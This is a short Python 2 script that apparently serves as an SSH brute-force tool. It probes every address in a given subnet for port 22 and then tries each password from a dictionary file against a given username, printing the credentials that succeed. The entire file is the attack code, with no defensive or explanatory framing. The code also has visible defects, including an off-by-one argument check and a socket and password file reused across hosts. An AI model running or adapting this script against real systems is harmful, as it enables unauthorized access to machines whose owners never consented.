#!/usr/bin/python
import sys
from netaddr import *
import socket
from paramiko import SSHClient,AutoAddPolicy
argv = sys.argv
argc = len(argv)
if 3 > argc:
    print "usage:%s <ipaddress/subnetmask> <user> <dictionary>" %(argv[0])
    exit()
ipv4 = IPNetwork(argv[1])
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.settimeout(3)
ssh = SSHClient()
ssh.set_missing_host_key_policy(AutoAddPolicy())
f = open(argv[3],"rb")
for i in range(len(ipv4)):
    try:
        sock.connect((str(ipv4[i]),22))
        sock.close()
        for line in f.readlines():
            try:
                ssh.connect(str(ipv4[i]),22,username=argv[2],password=line.strip('\n'))
                print ipv4[i],"pass:"+line.strip('\n')
            except:
                pass
    except socket.error:
        pass